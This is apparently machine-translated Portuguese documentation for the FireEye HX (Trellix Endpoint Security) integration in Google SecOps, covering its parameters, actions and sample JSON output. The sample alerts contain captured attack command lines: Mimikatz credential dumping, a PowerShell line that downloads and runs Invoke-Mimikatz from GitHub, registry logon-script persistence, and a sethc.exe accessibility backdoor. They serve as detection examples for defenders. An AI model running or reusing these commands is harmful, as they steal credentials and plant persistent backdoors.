Esta página foi traduzida pela API Cloud Translation.

FireEye HX

Versão da integração: 17.0

Configurar a integração do FireEye HX no Google Security Operations

Para instruções detalhadas sobre como configurar uma integração no Google SecOps, consulte Configurar integrações.

Parâmetros de integração

Use os seguintes parâmetros para configurar a integração:

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Nome da instância	String	N/A	Não	Nome da instância em que você pretende configurar a integração.
Descrição	String	N/A	Não	Descrição da instância.
Servidor	String	https://x.x.x.x:<port>	Sim	Endereço da instância do Trellix Endpoint Security.
Nome de usuário	String	N/A	Sim	O endereço de e-mail do usuário que deve ser usado para se conectar ao Trellix Endpoint Security.
Senha	Senha	N/A	Sim	A senha do usuário correspondente.
Verificar SSL	Caixa de seleção	Selecionado	Não	Use esta caixa de seleção se a conexão do Trellix Endpoint Security exigir uma verificação SSL (marcada por padrão).
Executar remotamente	Caixa de seleção	Desmarcado	Não	Marque a caixa para executar a integração configurada remotamente. Depois de marcada, a opção aparece para selecionar o usuário remoto (agente).

Ações

Cancelar contenção de host

Descrição

Crie um host de cancelamento que contenha uma tarefa no servidor do Trellix Endpoint Security com base no IP do Google SecOps ou hospede entidades do Google SecOps.

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

N/A

Host de contêiner

Descrição

Crie uma tarefa de host de contêiner no servidor Trellix Endpoint Security com base no IP do Google SecOps ou hospede entidades do Google SecOps.

Parâmetros

Parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Aprovar contenção	Caixa de seleção	Desmarcado	Não	Especifique se uma solicitação de contenção para o host deve ser aprovada automaticamente para criar uma tarefa de contenção no servidor Trellix Endpoint Security. Se não for aprovado automaticamente, um pedido de contenção poderá ser aprovado no console da Web do Trellix Endpoint Security.

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

N/A

Receber alertas

Descrição

Receba alertas de segurança de endpoint da Trellix com base na entidade do Google SecOps e nas condições de pesquisa fornecidas. A ação funciona no host ou nas entidades de IP do Google SecOps.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Limite	Número inteiro	N/A	Não	Quantos alertas a ação deve retornar, por exemplo, 100.
Tem modo de compartilhamento	Lista suspensa _(padrão = qualquer)_	_default = any_	Não	Filtre alertas acionados por indicadores com um modo de compartilhamento específico. _Valores disponíveis: any, restricted e unrestricted._
Status da resolução do alerta	Lista suspensa _(padrão = qualquer)_	_default = any_	Não	Filtre alertas com base no status de resolução. Valores disponíveis: _any, active_threat, alert, block, partial_block._
Alerta informado nas últimas x horas	Número inteiro	N/A	Não	Filtre alertas informados nas últimas x horas, por exemplo, nas últimas 4 horas.
Origem do alerta	Lista suspensa _(padrão = qualquer)_	_default = any_	Não	Origem do alerta. Valores disponíveis: any, exd (detecção de exploração), mal (alerta de malware), ioc (indicador de comprometimento).
ID da condição	String	N/A	Não	Filtra alertas por um identificador de condição específico.
Código de alerta	String	N/A	Não	Retorne um alerta específico pelo identificador dele.

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

[
    {
        "EntityResult": [{
            "indicator": {
                "category": "Mandiant",
                "display_name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "name": "MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
                "url": "/hx/api/v3/indicators/mandiant/b7eae353_be50_44cf_8773_7067e9c66d7b",
                "signature": null,
                "_id": "b7eae353-be50-44cf-8773-7067e9c66d7b",
                "uri_name": "b7eae353-be50-44cf-8773-7067e9c66d7b"
            },
            "event_id": 12880,
            "event_values": {
                "processEvent/processCmdLine": "at  13:00 \\\"C:\\\\TMP\\\\mim.exe sekurlsa::LogonPasswords > C:\\\\TMP\\\\o.txt\\\"",
                "processEvent/parentPid": 4832,
                "processEvent/md5": "e2a9c62b47f64525f7eb0cb8d637ff90",
                "processEvent/processPath": "C:\\\\Windows\\\\System32\\\\at.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/timestamp": "2020-05-29T10:21:03.419Z",
                "processEvent/startTime": "2020-05-29T10:21:03.419Z",
                "processEvent/process": "at.exe",
                "processEvent/username": "DOMAIN-COM\\\\Administrator",
                "processEvent/pid": 7332,
                "processEvent/parentProcessPath": "C:\\\\Windows\\\\System32\\\\cmd.exe",
                "processEvent/eventType": "start"
            },
            "event_type": "processEvent",
            "subtype": null,
            "reported_at": "2020-05-29T10:24:05.410Z",
            "decorators": [],
            "md5values": ["e2a9c62b47f64525f7eb0cb8d637ff90"],
            "appliance": {
                "_id": "86B7F11ACF8D"
            },
            "agent": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id": "FqNP4ybCdrlfVqG3lrCvRP",
                "containment_state": "normal"
            },
            "is_false_positive": false,
            "event_at": "2020-05-29T10:21:03.419Z",
            "source": "IOC",
            "matched_at": "2020-05-29T10:23:22.000Z",
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/88",
            "_id": 88,
            "resolution": "ALERT",
            "condition": {
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA==",
                "_id": "yirelRwhiuXlF0bQhTL4GA=="
            },
            "matched_source_alerts": []
        }],
        "Entity": "PC-01"
    }
]

Receber detalhes do grupo de alertas

Descrição

Recebe todos os detalhes do grupo de alertas para o grupo de alertas fornecido pelo ID.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
ID dos grupos de alertas	String	N/A	Sim	Especifique uma lista separada por vírgulas de IDs de grupos de alertas para os quais você quer recuperar detalhes.

Executar em

Essa ação não é executada em entidades, mas tem um parâmetro de entrada obrigatório.

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

{
    "details": [],
    "route": "/hx/api/v3/alert_groups/id",
    "data": {
        "_id": "622d3688031aa40faa4bd86028841276",
        "assessment": "[Process reg.exe started] MIMIKATZ SUSPICIOUS PROCESS ARGUMENTS (METHODOLOGY)",
        "file_full_path": "C:\\Windows\\System32\\reg.exe",
        "first_event_at": "2020-08-06T06:32:55.761Z",
        "last_event_at": "2020-08-06T06:32:55.761Z",
        "dispositions": [],
        "source": "IOC",
        "has_fp_disposition": false,
        "last_alert": {
            "_id": 729,
            "agent": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "containment_state": "normal"
            },
            "condition": {
                "_id": "yirelRwhiuXlF0bQhTL4GA==",
                "url": "/hx/api/v3/conditions/yirelRwhiuXlF0bQhTL4GA=="
            },
            "event_at": "2020-08-06T06:32:55.761+00:00",
            "matched_at": "2020-08-06T06:37:55+00:00",
            "reported_at": "2020-12-18T14:03:18.856+00:00",
            "source": "IOC",
            "resolution": "ALERT",
            "decorators": [],
            "md5values": [
                "05cf3ce225b05b669e3118092f4c8eab"
            ],
            "decorator_sources": [],
            "decorator_statuses": [],
            "url": "/hx/api/v3/alerts/729",
            "event_id": 207,
            "event_type": "processEvent",
            "event_values": {
                "processEvent/timestamp": "2020-08-06T06:32:55.761Z",
                "processEvent/eventType": "start",
                "processEvent/pid": 10356,
                "processEvent/processPath": "C:\\Windows\\System32\\reg.exe",
                "processEvent/process": "reg.exe",
                "processEvent/parentPid": 9456,
                "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                "processEvent/parentProcess": "cmd.exe",
                "processEvent/username": "FIREEYE-LAB\\Administrator",
                "processEvent/startTime": "2020-08-06T06:32:55.761Z",
                "processEvent/md5": "05cf3ce225b05b669e3118092f4c8eab",
                "processEvent/processCmdLine": "REG  ADD HKCU\\Environment /f /v UserInitMprLogonScript /t REG_MULTI_SZ /d \"C:\\TMP\\mim.exe sekurlsa::LogonPasswords > C:\\TMP\\o.txt\""
            },
            "is_false_positive": false
        },
        "generic_alert_badge": null,
        "generic_alert_label": null,
        "stats": {
            "events": 1
        },
        "url": "/hx/api/v3/alert_groups/622d3688031aa40faa4bd86028841276",
        "created_at": "2020-12-18T14:03:24.535Z",
        "acknowledgement": {
            "acknowledged": false,
            "acknowledged_by": null,
            "acknowledged_time": null,
            "comment": null,
            "comment_update_time": null
        },
        "grouped_by": {
            "condition_id": "yirelRwhiuXlF0bQhTL4GA==",
            "detected_by": "ioc_engine",
            "host": {
                "_id": "QKQ0SinOZUbehz5AgFXQhX",
                "url": "/hx/api/v3/hosts/QKQ0SinOZUbehz5AgFXQhX",
                "hostname": "HW-HOST-024",
                "primary_ip_address": "172.30.202.55"
            }
        }
    },
    "message": "OK"
}

Painel de casos

Tipo de resultado

Valor/descrição

Tipo

Mensagem de saída*

Sucesso para 1 (is_success=true): Os detalhes dos seguintes grupos de alertas no Trellix Endpoint Security foram recuperados: {alert group ids}

Falha para 1 (is_success=true): a ação não conseguiu recuperar detalhes sobre os seguintes grupos de alertas no Trellix Endpoint Security: {alert group ids}

Falha para todos (is_success=false): nenhum dos grupos de alertas fornecidos foi encontrado no Trellix Endpoint Security.

Geral

Painel de casos

Nome:Detalhes do grupo de alertas

Coluna:

Avaliação
ID do grupo de alertas
Primeiro evento
Último evento
Reconhecido
ID do último alerta HX

Geral

Receber alertas em um grupo de alertas

Descrição

Recebe todos os alertas encontrados no grupo de alertas especificado.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
ID do grupo de alertas	String	N/A	Sim	Especifique uma lista separada por vírgulas de IDs de grupos de alertas para os quais você quer recuperar detalhes.
Limite	Número inteiro	50	Não	Especifique a quantidade máxima de listas de alertas retornadas da API para o grupo de alertas. O padrão é 50.

Executar em

Essa ação não é executada em entidades, mas tem um parâmetro de entrada obrigatório.

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": 712,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T08:04:09.521Z",
                "matched_at": "2020-12-10T08:04:43.000Z",
                "reported_at": "2020-12-10T08:04:49.607Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/712",
                "event_id": 853899,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T08:04:09.521Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8800,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            },
            {
                "_id": 723,
                "agent": {
                    "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                    "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                    "containment_state": "normal"
                },
                "condition": {
                    "_id": "2npvcLf_arxPaH717hQZ9g==",
                    "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                },
                "indicator": {
                    "_id": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "url": "/hx/api/v3/indicators/mandiant/f0e49db2_1c28_4529_a426_73251d92de7d",
                    "name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "uri_name": "f0e49db2-1c28-4529-a426-73251d92de7d",
                    "display_name": "EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                    "signature": null,
                    "category": "Mandiant"
                },
                "event_at": "2020-12-10T09:26:14.114Z",
                "matched_at": "2020-12-10T09:26:56.000Z",
                "reported_at": "2020-12-10T09:27:08.735Z",
                "source": "IOC",
                "subtype": null,
                "matched_source_alerts": [],
                "resolution": "ALERT",
                "is_false_positive": false,
                "decorators": [],
                "md5values": [],
                "decorator_statuses": [],
                "url": "/hx/api/v3/alerts/723",
                "event_id": 880771,
                "event_type": "regKeyEvent",
                "event_values": {
                    "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                    "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                    "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                    "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                    "regKeyEvent/eventType": 1,
                    "regKeyEvent/pid": 8740,
                    "regKeyEvent/process": "reg.exe",
                    "regKeyEvent/processPath": "C:\\Windows\\System32",
                    "regKeyEvent/valueName": "Debugger",
                    "regKeyEvent/valueType": "REG_SZ",
                    "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                    "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                    "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                },
                "appliance": {
                    "_id": "86B7F11ACF8D"
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups/group_id/alerts"
}

Painel de casos

Tipo de resultado	Valor/descrição	Tipo
Mensagem de saída*	Sucesso para 1 (is_success=true): os detalhes dos seguintes grupos de alertas no Trellix Endpoint Security foram recuperados: {alert group ids} Falha para 1 (is_success=true): a ação não conseguiu recuperar detalhes sobre os seguintes grupos de alertas no Trellix Endpoint Security: {alert group ids} Falha para todos (is_success=false): nenhum dos grupos de alertas fornecidos foi encontrado no Trellix Endpoint Security.	Geral
Painel de casos	Nome: "Trellix Endpoint Security Alert Group +{alert_group_id) Alerts" Coluna: ID do alerta de segurança de endpoint da Trellix Nome do indicador Horário do evento Tempo correspondente Horário da denúncia Origem Tipo de evento	Geral

Tipo de resultado

Valor/descrição

Tipo

Mensagem de saída*

Sucesso para 1 (is_success=true): os detalhes dos seguintes grupos de alertas no Trellix Endpoint Security foram recuperados: {alert group ids}

Falha para 1 (is_success=true): a ação não conseguiu recuperar detalhes sobre os seguintes grupos de alertas no Trellix Endpoint Security: {alert group ids}

Falha para todos (is_success=false): nenhum dos grupos de alertas fornecidos foi encontrado no Trellix Endpoint Security.

Geral

Painel de casos

Nome: "Trellix Endpoint Security Alert Group +{alert_group_id) Alerts"

Coluna:

ID do alerta de segurança de endpoint da Trellix
Nome do indicador
Horário do evento
Tempo correspondente
Horário da denúncia
Origem
Tipo de evento

Geral

Receber informações do host

Descrição

Enriqueça as entidades de host ou IP do Google SecOps com base nas informações da segurança de endpoint da Trellix.

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

[
    {
        "EntityResult": {
            "last_alert": {
                "url": "/hx/api/v3/alerts/254",
                "_id": 254
            },
            "domain": "EXAMPLE-COM",
            "last_exploit_block_timestamp": null,
            "containment_state": "normal",
            "timezone": "\\u05e9\\u05e2\\u05d5\\u05df \\u05e7\\u05d9\\u05e5 \\u05d9\\u05e8\\u05d5\\u05e9\\u05dc\\u05d9\\u05dd",
            "gmt_offset_seconds": 10800,
            "initial_agent_checkin": "2020-05-29T10:11:12.022Z",
            "stats": {
                "alerting_conditions": 10,
                "exploit_alerts": 0,
                "acqs": 4,
                "malware_false_positive_alerts": 0,
                "alerts": 10,
                "exploit_blocks": 0,
                "false_positive_alerts": 0,
                "malware_cleaned_count": 0,
                "malware_alerts": 0,
                "false_positive_alerts_by_source": {},
                "generic_alerts": 0,
                "malware_quarantined_count": 0
            },
            "primary_mac": "00-50-56-11-22-33",
            "hostname": "HW-HOST-025",
            "primary_ip_address": "1.1.1.1",
            "last_audit_timestamp": "2020-06-01T09:10:38.752Z",
            "last_alert_timestamp": "2020-06-01T08:02:30.817+00:00",
            "containment_queued": false,
            "sysinfo": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP/sysinfo"
            },
            "last_exploit_block": null,
            "reported_clone": false,
            "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
            "excluded_from_containment": false,
            "last_poll_timestamp": "2020-06-01T09:10:36.000Z",
            "last_poll_ip": "1.1.1.1",
            "containment_missing_software": false,
            "_id": "FqNP4ybCdrlfVqG3lrCvRP",
            "os": {
                "kernel_version": null,
                "platform": "win",
                "patch_level": null,
                "bitness": "64-bit",
                "product_name": "Windows 10 Pro"
            },
            "agent_version": "32.30.0"
        },
        "Entity": "PC-01"
    }
]

Acessar indicador

Descrição

Receba informações sobre um indicador específico do servidor Trellix Endpoint Security.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Categoria do indicador	String	N/A	Sim	Especifique o valor uri_name da categoria do indicador. Para encontrar uri_name, execute a ação "Receber indicadores".
Nome do indicador	String	N/A	Sim	Especifique o valor uri_name do indicador. Para encontrar uri_name, execute a ação "Receber indicadores".

Executar em

Essa ação é executada em todas as entidades.

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

{
    "category": {
        "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
        "_id": 7,
        "uri_name": "mandiant_unrestricted",
        "name": "Mandiant Unrestricted Intel",
        "share_mode": "unrestricted"
    },
    "display_name": "FIREEYE END2END TEST",
    "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
    "create_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "active_since": "2020-05-28T13:08:08.513Z",
    "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
    "_revision": "20200528130929238120103414",
    "create_text": "General_Windows_unrestricted_2020.05.270833",
    "created_by": "General_Windows_unrestricted_2020.05.270833",
    "update_actor": {
        "username": "mandiant",
        "_id": 3
    },
    "meta": null,
    "signature": null,
    "platforms": ["win\", \"osx\", \"linux"],
    "stats": {
        "source_alerts": 0,
        "alerted_agents": 1,
        "active_conditions": 7
    },
    "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
    "name": "FIREEYE END2END TEST"
}

Acessar indicadores

Descrição

Receba informações sobre indicadores de comprometimento (IOCs) do servidor Trellix Endpoint Security com base nos parâmetros de pesquisa fornecidos.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Categoria do indicador	String	N/A	Não	A categoria do indicador.
Termo de pesquisa	String	N/A	Não	O termo de pesquisa pode ser qualquer nome, categoria, assinatura, origem ou valor de condição.
Limite	String	N/A	Não	Quantos indicadores a ação deve retornar, por exemplo, 100.
Modo de compartilhamento	Lista suspensa _(padrão = qualquer)_	_default = any_	Não	Filtra indicadores com base em um modo de compartilhamento específico. _Valores disponíveis: any, restricted, unrestricted._
Ordenar por campo	String	N/A	Não	Classifica os resultados pelo campo especificado em ordem crescente.
Criado por	String	N/A	Não	Filtra indicadores com base no autor.
Tem alertas associados	Caixa de seleção	N/A	Não	Especifique se apenas indicadores com alertas associados devem ser retornados.

Executar em

Essa ação é executada em todas as entidades.

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

[
    {
        "category": {
            "url": "/hx/api/v3/indicator_categories/mandiant_unrestricted",
            "_id": 7,
            "uri_name": "mandiant_unrestricted",
            "name": "Mandiant Unrestricted Intel",
            "share_mode": "unrestricted"
        },
        "display_name": "FIREEYE END2END TEST",
        "description": "IOC used for testing HX appliances and content packages to ensure that things work end to end",
        "create_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "active_since": "2020-05-28T13:08:08.513Z",
        "url": "/hx/api/v3/indicators/mandiant_unrestricted/2b4753b0_9972_477e_ba16_1a7c29058cee",
        "_revision": "20200528130929238120103414",
        "create_text": "General_Windows_unrestricted_2020.05.270833",
        "created_by": "General_Windows_unrestricted_2020.05.270833",
        "update_actor": {
            "username": "mandiant",
            "_id": 3
        },
        "meta": null,
        "signature": null,
        "platforms": ["win", "osx", "linux"],
        "stats": {
            "source_alerts": 0,
            "alerted_agents": 1,
            "active_conditions": 7
        },
        "_id": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "uri_name": "2b4753b0-9972-477e-ba16-1a7c29058cee",
        "name": "FIREEYE END2END TEST"
    }
]

Receber a lista de aquisições de arquivos para o host

Descrição

Receba uma lista de aquisições de arquivos solicitadas para o host do servidor Trellix Endpoint Security. A ação funciona em entidades de host ou IP do Google SecOps.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Termo de pesquisa	String	N/A	Não	Pesquisa todas as aquisições de arquivos para hosts conectados ao servidor do Trellix Endpoint Security. O search_term pode ser qualquer valor de condição.
Limite	String	N/A	Não	Quantos registros a ação deve retornar, por exemplo, 100.
Campo de filtro	String	N/A	Não	Lista apenas os resultados com o valor de campo especificado. Os resultados podem ser filtrados pelo identificador de correlação externa (external_id).

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

[
    {
        "EntityResult": [{
            "comment": " ",
            "zip_passphrase": "unzip-me",
            "indicator": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "request_actor": {
                "username": "admin",
                "_id": 1000
            },
            "request_time": "2020-06-01T08:43:14.000Z",
            "finish_time": "2020-06-01T08:46:39.156Z",
            "_revision": "20200601084639156575147403",
            "error_message": "The acquisition completed with issues.",
            "req_use_api": false,
            "alert": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "url": "/hx/api/v3/acqs/files/9",
            "state": "COMPLETE",
            "host": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id":
                "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "req_filename": "reg.exe",
            "req_path": "C:\\\\Windows\\\\System32",
            "_id": 9,
            "external_id": null,
            "condition": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "md5": "601bddf7691c5af626a5719f1d7e35f1"
        }],
        "Entity": "PC-01"
    }
]

Is Contain Malware Alerts

Descrição

Verifique se os alertas de malware estão listados para as entidades de host ou IP do Google SecOps fornecidas no servidor do Trellix Endpoint Security.

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

[
    {
        "EntityResult": {
            "alerting_conditions": 10,
            "exploit_alerts": 0,
            "acqs": 4,
            "malware_false_positive_alerts": 0,
            "alerts": 10,
            "exploit_blocks": 0,
            "false_positive_alerts": 0,
            "malware_cleaned_count": 0,
            "malware_alerts": 0,
            "false_positive_alerts_by_source": {},
            "generic_alerts": 0,
            "malware_quarantined_count": 0
        },
        "Entity": "PC-01"
    }
]

Ping

Descrição

Teste a conectividade com o servidor Trellix Endpoint Security usando os parâmetros fornecidos na página de configuração da integração na guia "Marketplace de operações de segurança do Google".

Executar em

Essa ação é executada em todas as entidades.

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

N/A

Confirmar grupos de alerta

Descrição

Confirme os grupos de alertas processados pelo Google SecOps para melhorar a sincronização entre a plataforma HX e o Google SecOps.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
IDs dos grupos de alertas	Lista separada por vírgulas	N/A	Sim	Especifique os IDs dos grupos de alertas que você quer confirmar em uma lista separada por vírgulas.
Confirmação	DDL	Confirmar	Sim	Especifique se você quer confirmar ou cancelar a confirmação dos grupos de alertas especificados.
Comentário de confirmação	String	N/A	Não	Especifique o comentário de confirmação que você quer adicionar aos grupos de alertas relevantes.
Limite	Número inteiro	N/A	Não	Especifique a quantidade máxima de listagens de grupos de alertas retornadas da API no resultado JSON.

Executar em

Essa ação não é executada em entidades, mas tem um parâmetro de entrada obrigatório.

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": "4532f4d8d50ab50a7830e2823ac488fd",
                "assessment": "[Process powershell.exe started] POWERSHELL DOWNLOADER (METHODOLOGY)",
                "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                "first_event_at": "2020-08-17T12:03:38.496Z",
                "last_event_at": "2020-12-10T08:02:22.561Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 718,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                        "url": "/hx/api/v3/conditions/yQjMv_j5PKfjL8Qu5uSm4A=="
                    },
                    "event_at": "2020-08-17T12:03:38.496+00:00",
                    "matched_at": "2020-12-10T09:26:55+00:00",
                    "reported_at": "2020-12-10T09:27:08.624+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [
                        "cda48fc75952ad12d99e526d0b6bf70a"
                    ],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/718",
                    "event_id": 39882,
                    "event_type": "processEvent",
                    "event_values": {
                        "processEvent/timestamp": "2020-08-17T12:03:38.496Z",
                        "processEvent/eventType": "start",
                        "processEvent/pid": 9896,
                        "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                        "processEvent/process": "powershell.exe",
                        "processEvent/parentPid": 5560,
                        "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                        "processEvent/parentProcess": "cmd.exe",
                        "processEvent/username": "FIREEYE-LAB\\Administrator",
                        "processEvent/startTime": "2020-08-17T12:03:38.496Z",
                        "processEvent/md5": "cda48fc75952ad12d99e526d0b6bf70a",
                        "processEvent/processCmdLine": "powershell.exe  \"iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds\" "
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 3
                },
                "url": "/hx/api/v3/alert_groups/4532f4d8d50ab50a7830e2823ac488fd",
                "created_at": "2020-12-10T09:26:56.056Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
